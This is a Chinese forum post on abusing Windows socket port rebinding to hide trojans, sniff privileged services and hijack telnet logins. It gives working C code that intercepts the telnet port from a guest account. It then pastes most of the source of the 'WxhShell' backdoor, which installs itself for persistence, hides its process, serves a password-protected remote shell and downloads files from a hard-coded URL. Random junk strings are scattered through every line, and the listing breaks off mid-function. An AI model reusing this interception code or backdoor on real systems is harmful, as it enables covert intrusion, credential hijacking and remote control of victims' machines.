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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: P39oHW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  OmfHr lA  
m&(qr5>b  
  saddr.sin_family = AF_INET; dShGIH?  
^4<&"aoo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Up_"qD6  
{/aHZ<I&^h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); WW^+X~Y  
7xG~4N<)]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %CgV:.,K  
MTNC{:Q  
  这意味着什么?意味着可以进行如下的攻击: , \RR@~u'  
mZM7 4!4X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]TcQGW@'  
[io|qLr}\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -m ;n}ECg  
x1E;dbOZ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &Ll&A@yU  
G)Y,*.,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  JZ:yPvJ  
"o_'q@.}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _bgv +/  
|~18MW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JB.U&  
 tL<.B  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 t&EY$'c  
fd>&RbUp  
  #include SQx&4R.  
  #include M,bs`amz  
  #include E'SDT*EI  
  #include    b&LAk-}[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   _G25$%/LU  
  int main() a1_o  
  { ]bpgsW:Xu  
  WORD wVersionRequested; ;G3?Sa7+  
  DWORD ret; MPw?HpM  
  WSADATA wsaData; %yk_(3a  
  BOOL val; 1v,R<1)&  
  SOCKADDR_IN saddr; 2\gIjXX"  
  SOCKADDR_IN scaddr; 4fjwC,,  
  int err; !H9^j6|  
  SOCKET s; QgQ$>  
  SOCKET sc; 4udj"-V  
  int caddsize; Q {BA`Q@V  
  HANDLE mt; N>]J$[j  
  DWORD tid;   >s0![coz  
  wVersionRequested = MAKEWORD( 2, 2 ); ?A*!rW:l;  
  err = WSAStartup( wVersionRequested, &wsaData ); ZKpJc'h  
  if ( err != 0 ) { Dh?I   
  printf("error!WSAStartup failed!\n"); 6DgdS5GhT_  
  return -1; w&Gc#-B  
  } D>HbJCG4^  
  saddr.sin_family = AF_INET; o; U!{G(X  
   =6Gn? /{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 s;* UP   
t4/ye>P &  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JEMc_ngR!  
  saddr.sin_port = htons(23); FOMJRq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Q>rr?L`  
  { P?P.QK  
  printf("error!socket failed!\n"); %b4tyX:N0  
  return -1; `ZI-1&Y3  
  } a_?b <  
  val = TRUE; R*6B@<p,i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /wt7KL- I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 57gt"f  
  { 4K? \5(b  
  printf("error!setsockopt failed!\n"); c:>&YGmhu  
  return -1; iR88L&U>  
  } c%gL3kOT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jC{KI!kPt  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 TO"Md["GI  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #d-zH:uq  
eNVuw:Q+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +`g&hO\W  
  { TB+k[UxB  
  ret=GetLastError(); `8RKpZv&  
  printf("error!bind failed!\n"); IOdxMzF`m  
  return -1; C1UU v=|  
  } " r o'?  
  listen(s,2); 1 ptyiy  
  while(1) NX.5 u8Pf  
  { .8!\6=iJB  
  caddsize = sizeof(scaddr); v:yU+s|kN  
  //接受连接请求 A1,q 3<<D%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0BhcXH t  
  if(sc!=INVALID_SOCKET) #RaqNu  
  { |('o g*$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *KY:U&*  
  if(mt==NULL) jnT Tj l  
  { m|c [C\)By  
  printf("Thread Creat Failed!\n"); vgD+Y   
  break; yGAFQ|+  
  } ^7YNM<_%@  
  } )Se$N6u-  
  CloseHandle(mt); {ilz[LM8(  
  } z8JW iRn  
  closesocket(s); 2b^Fz0 w4  
  WSACleanup(); rqqd} kA  
  return 0; *q k7e[IP  
  }   liH#=C8l*%  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'Kbrz  
  { :-JryiI  
  SOCKET ss = (SOCKET)lpParam; /W BmR R  
  SOCKET sc; n-l_PhPQ`  
  unsigned char buf[4096]; CW?Z\  
  SOCKADDR_IN saddr; -bHlFNRm  
  long num; P~=yTW  
  DWORD val; %'2.9dB  
  DWORD ret; }^&f {   
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z/ jmi  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p'2IlQ\  
  saddr.sin_family = AF_INET; Zp~yemERr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a{hc{  
  saddr.sin_port = htons(23); L-D4>+  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $Vq5U9-  
  { prz COw  
  printf("error!socket failed!\n"); Ue >]uZ|  
  return -1; _Tor9Tj  
  } 6Jb0MX"AVr  
  val = 100; A?!RF7v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6{1=3.CL  
  { {>msE }L  
  ret = GetLastError(); rD SYR\cg  
  return -1; 9|Jv>Ur=)2  
  } 9 $$uk'}w!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \+O.vRc"M  
  { Z6i~Dy3  
  ret = GetLastError(); N n FR;  
  return -1; R2sG'<0B0  
  } |zpy!X3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~at@3j}W  
  { 2WFZ6  
  printf("error!socket connect failed!\n"); ?1JY6v]h4  
  closesocket(sc); 1?FG3X 5  
  closesocket(ss); 9>S)*lU&s  
  return -1; Lxv4w  
  } U,EoCAm>  
  while(1) EXr2d"  
  { &3Zb?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S7f.^8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 VbvP!<8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y2#>a8SRS  
  num = recv(ss,buf,4096,0); /h+ W L  
  if(num>0) dnoF)(d&Cm  
  send(sc,buf,num,0); \j`0 f=z_  
  else if(num==0) <lf692.3  
  break; $e7%>*?m  
  num = recv(sc,buf,4096,0); oR2?$KF   
  if(num>0) {k_\1t(/  
  send(ss,buf,num,0); ^rVHaI  
  else if(num==0) U`qC.s(L  
  break; c.IUqin  
  } znsQ/[  
  closesocket(ss); KQNQ<OE 4  
  closesocket(sc); h2Nt@  
  return 0 ;  5cIZ_#  
  } F~ 5,-atDM  
iv~R4;;)  
))|d~m  
========================================================== -eF-r=FR  
t[`LG)  
下边附上一个代码,,WXhSHELL HfVHjF)  
1Q(KZI  
========================================================== j9 >[^t3U  
mcd{:/^?  
#include "stdafx.h" 6~%><C  
*pwkv7Z h  
#include <stdio.h> bQautRW  
#include <string.h> spfW)v/T!  
#include <windows.h> 0* F` h  
#include <winsock2.h> f-|?He4O]  
#include <winsvc.h> Ux=~-}<-w  
#include <urlmon.h> ?0/$RpFEM#  
+s}&'V^  
#pragma comment (lib, "Ws2_32.lib") q!:dZES  
#pragma comment (lib, "urlmon.lib") [n[dr@J7v  
R BHDfm'~7  
#define MAX_USER   100 // 最大客户端连接数 *0>`XK$mWo  
#define BUF_SOCK   200 // sock buffer MT~^wI0a  
#define KEY_BUFF   255 // 输入 buffer ]!{S2x&"  
k5Cy/gR  
#define REBOOT     0   // 重启 D5c 8sB  
#define SHUTDOWN   1   // 关机 u @Ze@N%  
=l43RawAmu  
#define DEF_PORT   5000 // 监听端口 W9%v#;2  
-13}]Gls7Q  
#define REG_LEN     16   // 注册表键长度 9-T<gYl  
#define SVC_LEN     80   // NT服务名长度 >XgJo7u  
Pb'(Y  
// 从dll定义API x;7l>uR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t,f ec>.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uM`i!7}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dBd7#V:}yV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )ovAGO  
.b]s Q'  
// wxhshell配置信息 l'(FM^8jv  
struct WSCFG { v ^h:E  
  int ws_port;         // 监听端口 }"TQ\v$  
  char ws_passstr[REG_LEN]; // 口令 Xb%Q%"?~  
  int ws_autoins;       // 安装标记, 1=yes 0=no bIiun a\  
  char ws_regname[REG_LEN]; // 注册表键名 X3}eq|r9  
  char ws_svcname[REG_LEN]; // 服务名 L=#NUNiXr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (Y)2[j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T<0r,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Ot3[B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jV}8VK*`+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V gMgeja  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YYn8!FIe  
BF W b0;+  
}; ?) y}HF  
CKn2ZL  
// default Wxhshell configuration ?{ExBZNa  
struct WSCFG wscfg={DEF_PORT, 5c]:/9&  
    "xuhuanlingzhe", Dq<la+VlO  
    1,  J| N 6r  
    "Wxhshell", )=Z;H"_  
    "Wxhshell", 6 ^3RfF^W  
            "WxhShell Service", o`c+eMwr(  
    "Wrsky Windows CmdShell Service", ~Tt@ v`}  
    "Please Input Your Password: ", ,5$G0  
  1, Fy{yg]O"  
  "http://www.wrsky.com/wxhshell.exe", rByth,|  
  "Wxhshell.exe" R278^E  
    }; N-upNuv  
1M&Lb. J6  
// 消息定义模块 >Y08/OAI.2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YAc:QVT87  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Sh!c]r>\Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L4Jm8sy{  
char *msg_ws_ext="\n\rExit."; jcqUY+T$  
char *msg_ws_end="\n\rQuit."; M]PZwW8  
char *msg_ws_boot="\n\rReboot..."; :o8`2Z*g  
char *msg_ws_poff="\n\rShutdown..."; [gBf1,bK  
char *msg_ws_down="\n\rSave to "; veq3t$sj  
#<)[{+f[t  
char *msg_ws_err="\n\rErr!"; QWOPCoUet  
char *msg_ws_ok="\n\rOK!"; 8s6[-F5  
q?7''xk7  
char ExeFile[MAX_PATH]; zj r($?  
int nUser = 0; eV*QUjS~  
HANDLE handles[MAX_USER]; rtS cQ  
int OsIsNt; ,<L4tp+y0  
r[!~~yu/o  
SERVICE_STATUS       serviceStatus;  )58O9b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 06&;GW!-  
\]<R`YMV  
// 函数声明 `e,}7zGR  
int Install(void); m .(ja  
int Uninstall(void); +=J $:/&U  
int DownloadFile(char *sURL, SOCKET wsh); o)5zvnu7  
int Boot(int flag); #` 3Q4  
void HideProc(void); 29J|eBvxx  
int GetOsVer(void); nZB ~l=  
int Wxhshell(SOCKET wsl); clU ?bF~e1  
void TalkWithClient(void *cs); .F7?}8>Z  
int CmdShell(SOCKET sock); V| Fo@  
int StartFromService(void); c)#7T<>*'  
int StartWxhshell(LPSTR lpCmdLine); GG>53} 7{  
^)9/Wz _x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "~ID.G|<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SOR\oZ7  
/}@F q  
// 数据结构和表定义 zY\u" '4  
SERVICE_TABLE_ENTRY DispatchTable[] = VvW4!1Dl  
{ \YzKEYx+  
{wscfg.ws_svcname, NTServiceMain}, : 2%eh  
{NULL, NULL} HjK8y@j  
}; "^z%|uXkf  
f0 g/`j@Up  
// 自我安装 1K3XNHF  
int Install(void) !LH;K  
{ >Y4^<!\v  
  char svExeFile[MAX_PATH]; M%_*vD  
  HKEY key; l\ dPfJ  
  strcpy(svExeFile,ExeFile); }K 'A/]'  
SlB`ktcfI  
// 如果是win9x系统,修改注册表设为自启动 a&G{3#l  
if(!OsIsNt) { Kc[^Pu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OF<:BaRs/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d"n>Q Tn\  
  RegCloseKey(key); PV,Z@qm@^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0E#??gN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BaIpX<$T  
  RegCloseKey(key); nq?+b >//  
  return 0; 75H!i$(*+  
    } wm#(\dj  
  } g"n>v c7  
} #tZ!D^GQHq  
else { Z]Xa:[  
e*'bY;8lo  
// 如果是NT以上系统,安装为系统服务 ~Zsj@d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #8t=vb3  
if (schSCManager!=0) 7a9">:~  
{ D>jtz2y=D  
  SC_HANDLE schService = CreateService 8#$HKWUK  
  ( BD]J/o  
  schSCManager, KLM6#6`  
  wscfg.ws_svcname, xytWE:=  
  wscfg.ws_svcdisp, H9jlp.F  
  SERVICE_ALL_ACCESS, {G=>WAXo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5(#z)T  
  SERVICE_AUTO_START, ;s,1/ kA  
  SERVICE_ERROR_NORMAL, W= NX$=il  
  svExeFile, kVsX/ ~$  
  NULL, R5b,/>^'A  
  NULL, :@ &e~QP(  
  NULL, 8ZV!ld  
  NULL, A?HDY_u  
  NULL '2l[~T$*  
  ); I|*<[/)]y  
  if (schService!=0) Wp = ]YO  
  { uq6>K/~D  
  CloseServiceHandle(schService); H)TKk%`7  
  CloseServiceHandle(schSCManager); OkQ< Sc   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fATnza  
  strcat(svExeFile,wscfg.ws_svcname); >Heuf"V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M"c=_5P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )LG!"~qiz  
  RegCloseKey(key); )5`^@zx  
  return 0; zLr:zfl  
    } ~yN>9f U  
  } eY Rd#w  
  CloseServiceHandle(schSCManager); HHyN\  
} <AVWT+,  
} }6u}?>S  
a)Ht(*/B  
return 1; T: '<:*pD  
} h{yh}04P1  
*@lVesC2  
// 自我卸载 @?tR-L<u  
int Uninstall(void) zwUZ*Se  
{ /3 L4K  
  HKEY key; r8y,$Mv<)0  
'h&>K,U?5  
if(!OsIsNt) { (Ms #)E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3NwdE/x\  
  RegDeleteValue(key,wscfg.ws_regname); C]ho7qC  
  RegCloseKey(key); \o,et9zDJ3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )q!dMZ(  
  RegDeleteValue(key,wscfg.ws_regname); (8S+-k?  
  RegCloseKey(key); 4nd)*0{ f  
  return 0; )MN6\v  
  } :`yW^b  
} !=vsY]  
} !+hw8@A  
else { sAX4giaLD  
29@m:=-}7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s*CBYzOm  
if (schSCManager!=0) $\oe}`#o  
{ &xj,.;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 a&a-(  
  if (schService!=0) g$=']A?W_  
  { LD|T1 .  
  if(DeleteService(schService)!=0) { vKbGG   
  CloseServiceHandle(schService); #)DDQ?D  
  CloseServiceHandle(schSCManager); `sdbo](76  
  return 0; Kv5 !cll5  
  } 1- GtZ2  
  CloseServiceHandle(schService); wXeJjE%j:3  
  } #R= 6$  
  CloseServiceHandle(schSCManager); 0a$hK9BH  
} yW(A0  
} pR:cnkVF  
S`spUq1o  
return 1; 8 =3#S'n  
} [HRP&jr  
Xs4G#QsA J  
// 从指定url下载文件 r)w]~)8  
int DownloadFile(char *sURL, SOCKET wsh) L~M6 ca"  
{ Gnqun%  
  HRESULT hr; (j)>npOd9  
char seps[]= "/"; P^/e!%UgC  
char *token; w\a9A#v,  
char *file; @:u2{>Yl  
char myURL[MAX_PATH]; Y,%G5X@S<  
char myFILE[MAX_PATH]; }?d l.=eq  
sgeME^v  
strcpy(myURL,sURL); J {#C<C  
  token=strtok(myURL,seps); =Rf!i78c5  
  while(token!=NULL) \xtmd[7lb<  
  { 8+~|!)a  
    file=token; !8%{(;(  
  token=strtok(NULL,seps); aQfrDM<*XS  
  } 1'J|yq  
w5&,AL:  
GetCurrentDirectory(MAX_PATH,myFILE); "j+=py`  
strcat(myFILE, "\\"); ~ @s$  
strcat(myFILE, file); ;Q8rAsf 9  
  send(wsh,myFILE,strlen(myFILE),0); +(2mHS0_a  
send(wsh,"...",3,0); $66DyK?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I^y,@EHR  
  if(hr==S_OK) Gm LKg >%  
return 0; b"#|0d0  
else G0$,H(]~  
return 1; Kd,7x'h`E  
\ 5^GUT  
} $zV[- d  
& AlX).  
// 系统电源模块 }3mIj<I1;  
int Boot(int flag) ]2B=@V t,  
{ bQ2 '*T  
  HANDLE hToken; uYwJ[1 C  
  TOKEN_PRIVILEGES tkp; A&QO]8  
mH} 1Zy  
  if(OsIsNt) { A ptzBs/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6tmn1:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ke+#ww  
    tkp.PrivilegeCount = 1; KrT+Svm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; . B9rG~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6~0. YZ9  
if(flag==REBOOT) { fg1["{\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  snyg  
  return 0; vSy#[9}  
} [Y]\sF;J  
else { y"SVZ} ;|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h"G#} C]  
  return 0; u($y<Q)=  
} K%A:W  
  } hK&/A+*  
  else { <$'OSN`!  
if(flag==REBOOT) { ]\<^rEU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?-0>Wbg  
  return 0; !'^gqaF+  
} Ey!+rq}  
else { W[R o)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?F9:rUyN  
  return 0; AA$-Lx(UJk  
} rOu7r4  
} jn9KQe\3  
Fh4kd>1 D  
return 1; 8D U|j-I8  
} U_HOfix  
gUB%6vG\I  
// win9x进程隐藏模块 D"m]`H  
void HideProc(void) EI*B(  
{ gzthM8A  
aoh"<I%]>4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /8i3I5*  
  if ( hKernel != NULL ) tTB,eR$  
  { }Zue?!KQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |T}Q ~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !A )2<<4  
    FreeLibrary(hKernel); XP"lqyAi  
  } #%xzy@`  
"+iPeRF!hU  
return; x4PA~R  
} V(|@6ww  
^-9g_5  
// 获取操作系统版本 lU0'5!3R,  
int GetOsVer(void) w NlC2is  
{ mjDaus59  
  OSVERSIONINFO winfo; |?=K'[ 5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lr:rQw9  
  GetVersionEx(&winfo); 0Z{f!MOh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RjY(MSc  
  return 1; J2M[aibV  
  else VFj}{Y  
  return 0; 'a`cK;X9F  
} G'oMZb ({=  
HrH-e= j  
// 客户端句柄模块 ?32gug\i'}  
int Wxhshell(SOCKET wsl) iX]Vkx  
{ A~_*vcz  
  SOCKET wsh; "&s9;_9  
  struct sockaddr_in client; nCZ&FNi{O~  
  DWORD myID; (*>%^C?  
x$o?ckyH  
  while(nUser<MAX_USER) 2 5DXJ b^:  
{ iYi3x_A`  
  int nSize=sizeof(client); wJs #rkW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); nm)H\i  
  if(wsh==INVALID_SOCKET) return 1; 8X,dVX5LT  
!e5!8z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PT7-_r  
if(handles[nUser]==0) *w> dT  
  closesocket(wsh); }&+b\RE  
else uOzol~TU)  
  nUser++; tA2Py  
  } fk5xIW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &DQyJJ`k  
.v?x>iV  
  return 0; \wR $_X&  
} !2-f%x]tO  
A dNQS  
// 关闭 socket ^=f<WKn  
void CloseIt(SOCKET wsh) WC6yQSnY&  
{ I d6H~;  
closesocket(wsh); OIpkXM  
nUser--; ,Jm2|WKH  
ExitThread(0); jlvh'y`  
} ' U]\]Wp  
x3j)'`=15  
// 客户端请求句柄 J:<mq5[  
void TalkWithClient(void *cs) .E H&GX  
{ ws1io.  
l`S2bb6uMR  
  SOCKET wsh=(SOCKET)cs; #aX+?z\4  
  char pwd[SVC_LEN]; )k)HQcfjD  
  char cmd[KEY_BUFF]; }H^h ~E  
char chr[1]; h0m+u}oP_H  
int i,j; <$6r1y*G  
kj_MzgC'?  
  while (nUser < MAX_USER) {  .dA_}  
~m:oJ+:O  
if(wscfg.ws_passstr) { 00jWs@K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q&j-a;L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z TYHwx  
  //ZeroMemory(pwd,KEY_BUFF); +ZFw3KEkz  
      i=0; #m x4pf{  
  while(i<SVC_LEN) { SlU?,)J}  
d 8YP<"V&  
  // 设置超时 MI^@p`s  
  fd_set FdRead; tB S+?N  
  struct timeval TimeOut; BlwAD  
  FD_ZERO(&FdRead); +,7nsWV  
  FD_SET(wsh,&FdRead); yx0wR  
  TimeOut.tv_sec=8; PIk2mX/D_6  
  TimeOut.tv_usec=0; in-|",O`Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tu5g> qb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /\L-y,>X  
Z^tTR]u\$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0R2KI,WI  
  pwd=chr[0]; WC& V9Yk  
  if(chr[0]==0xd || chr[0]==0xa) { <{ZDD]UGs0  
  pwd=0; ltQo_k  
  break; i}u,_ }  
  } (AYzN3 ?D  
  i++; b+=@;0p*6B  
    } !wbO:py[8>  
s#Os?Q?  
  // 如果是非法用户,关闭 socket s2Z'_r T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #:B14E  
} )RUx  
` nd/N#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q y4eDv5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eELLnU{"  
d- X6yRjnj  
while(1) { 8dPDs#Zl  
xG_LEk( zD  
  ZeroMemory(cmd,KEY_BUFF); |Y-{)5/5}  
$6[%NQp  
      // 自动支持客户端 telnet标准   91f{qq=#J{  
  j=0; V^* ];`^  
  while(j<KEY_BUFF) { YR'dl_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,xSNTOJ  
  cmd[j]=chr[0]; e1<9:h+  
  if(chr[0]==0xa || chr[0]==0xd) { =EJ8J;y_f  
  cmd[j]=0; \wjT|z1+Y  
  break; V;pR w`  
  } 1tZ7%0R\g]  
  j++; X%C`('"R  
    } 7sX#6`t  
B4 k5IS  
  // 下载文件 *A&A V||q  
  if(strstr(cmd,"http://")) { PF+F^;C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wI5(`_l{G  
  if(DownloadFile(cmd,wsh)) ahh&h1q7|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3<XP/c";  
  else b6%[?k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $.Ia;YBf  
  } eoj(zY3  
  else { D6I-:{ws  
m|uVmg!*  
    switch(cmd[0]) { HfOaJ'+e<  
  wC>}9OM  
  // 帮助 7v']wA r]  
  case '?': { Wq2 Bo*[*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~|Nj+A  
    break; _^Z v[P  
  }  2S  
  // 安装 7+NBcZuG9  
  case 'i': { @ ^q}.u`  
    if(Install()) WJlJD*3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~XeWN^l(Ov  
    else u+;iR/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2tw3 =)  
    break; 9]L4`.HM  
    } o[aP+O Md  
  // 卸载 u5.zckV  
  case 'r': { Leu6kPk  
    if(Uninstall()) oA*88c+{f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A(D>Zh6o@  
    else u?4d<%5R!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @?n~v^  
    break; eK[9wEdn  
    } iBPIj;,  
  // 显示 wxhshell 所在路径 *ZkOZ  
  case 'p': { K3*-lO:A9  
    char svExeFile[MAX_PATH]; h.pVIO`  
    strcpy(svExeFile,"\n\r"); "8$Muwm  
      strcat(svExeFile,ExeFile); jX7;hQ+P  
        send(wsh,svExeFile,strlen(svExeFile),0); swz)gh-*  
    break; 5E#8F  
    } Dn l|B\  
  // 重启 }~v&  
  case 'b': { a9uMgx}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rDWwu '  
    if(Boot(REBOOT)) /EW=OZ/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *DgRF/S  
    else { P(b ds  
    closesocket(wsh); \IhHbcF`d  
    ExitThread(0); +<T361eyY  
    } <CcSChCg  
    break; hRQw]  
    } $ghlrV;:ct  
  // 关机 b:PzqMh{G  
  case 'd': { }U^iVq*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V 7oE\cxr  
